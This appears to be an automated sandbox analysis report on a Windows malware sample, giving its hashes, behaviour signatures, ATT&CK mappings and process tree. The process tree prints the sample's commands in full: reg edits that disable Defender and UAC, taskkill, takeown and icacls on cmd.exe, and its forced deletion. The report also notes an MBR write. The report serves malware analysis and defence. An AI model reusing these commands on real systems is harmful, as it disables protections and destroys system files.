Analysis
- user interaction
yes - max time kernel
73s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/07/2026, 17:22
Static task
static1
Behavioral task
behavioral1
Sample
GRoupALEst5bariya.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
GRoupALEst5bariya.exe
Resource
win11ltsc2024-20260629-en
General
- Target GRoupALEst5bariya.exe
- Size 763KB
- Sample260701-vx3wbsbs3k
- SHA256 33ee43ff148908e7ae11f8db62223a038cf53ced16171a3d9fc87a9e2dddb8ca
- MD5 3bbc8ef0ea4d376e3f78bde648ded685
- SHA1 c597b97e8a2ca1c73e728d4bbd6d403c97374521
- SHA512 279cd6db864ec1e4700bf305c705dd7cb1d2b38eb460657a54fae25baedecdeb7fd719ba0dd92e7a1d1f166a9991518303b7132820a2977d7c5b21375b6ed2c9
- SSDEEP 12288:/+qnfIVf8+WUpLFqcusZpBsHBFzEASHFQFK50jUfEoVl:Rfg0+VMcs2j50jUfEoVl
- TLSH T159F4168336CA1CFADE932B3844DB533A6735FE708B6A8B674614D2311D135C1AE6BB50
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
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description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe - UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe - Possible privilege escalation attempt 2 IoCs
pid Process 3288 takeown.exe 4356 icacls.exe - Modifies file permissions 1 TTPs 2 IoCs
pid Process 3288 takeown.exe 4356 icacls.exe - Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 GRoupALEst5bariya.exe - Kills process with taskkill 2 IoCs
pid Process 1124 taskkill.exe 2052 taskkill.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 5552 GRoupALEst5bariya.exe Token: SeIncBasePriorityPrivilege 5552 GRoupALEst5bariya.exe Token: SeDebugPrivilege 1124 taskkill.exe Token: SeDebugPrivilege 2052 taskkill.exe Token: SeTakeOwnershipPrivilege 3288 takeown.exe - Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 5552 wrote to memory of 4832 5552 GRoupALEst5bariya.exe 88 PID 4832 wrote to memory of 1128 4832 cmd.exe 90 PID 5552 wrote to memory of 4504 5552 GRoupALEst5bariya.exe 91 PID 4504 wrote to memory of 2624 4504 cmd.exe 93 PID 5552 wrote to memory of 3488 5552 GRoupALEst5bariya.exe 94 PID 3488 wrote to memory of 5580 3488 cmd.exe 96 PID 5552 wrote to memory of 4432 5552 GRoupALEst5bariya.exe 97 PID 4432 wrote to memory of 1140 4432 cmd.exe 99 PID 5552 wrote to memory of 2876 5552 GRoupALEst5bariya.exe 100 PID 2876 wrote to memory of 1124 2876 cmd.exe 102 PID 5552 wrote to memory of 4740 5552 GRoupALEst5bariya.exe 104 PID 4740 wrote to memory of 2052 4740 cmd.exe 106 PID 5552 wrote to memory of 4048 5552 GRoupALEst5bariya.exe 107 PID 4048 wrote to memory of 3288 4048 cmd.exe 109 PID 5552 wrote to memory of 2688 5552 GRoupALEst5bariya.exe 110 PID 2688 wrote to memory of 4356 2688 cmd.exe 112 PID 5552 wrote to memory of 4756 5552 GRoupALEst5bariya.exe 113
Processes
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C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5552 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
PID:4832 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f3⤵PID:1128
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
PID:4504 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f3⤵PID:2624
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
PID:3488 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:5580
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
PID:4432 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- UAC bypass
PID:1140
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul2⤵
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\system32\taskkill.exetaskkill /f /im cmd.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1124
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /f /im conhost.exe 2>nul2⤵
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\system32\taskkill.exetaskkill /f /im conhost.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2052
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\cmd.exe 2>nul2⤵
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\cmd.exe3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:3288
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\cmd.exe /grant administrators:F 2>nul2⤵
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\cmd.exe /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4356
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /f /s /q C:\Windows\System32\cmd.exe 2>nul2⤵PID:4756
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Network
MITRE ATT&CK Enterprise v16
Persistence
Create or Modify System Process
1Windows Service
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Create or Modify System Process
1Windows Service
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
1File Deletion
1Modify Registry
2Pre-OS Boot
1Bootkit
1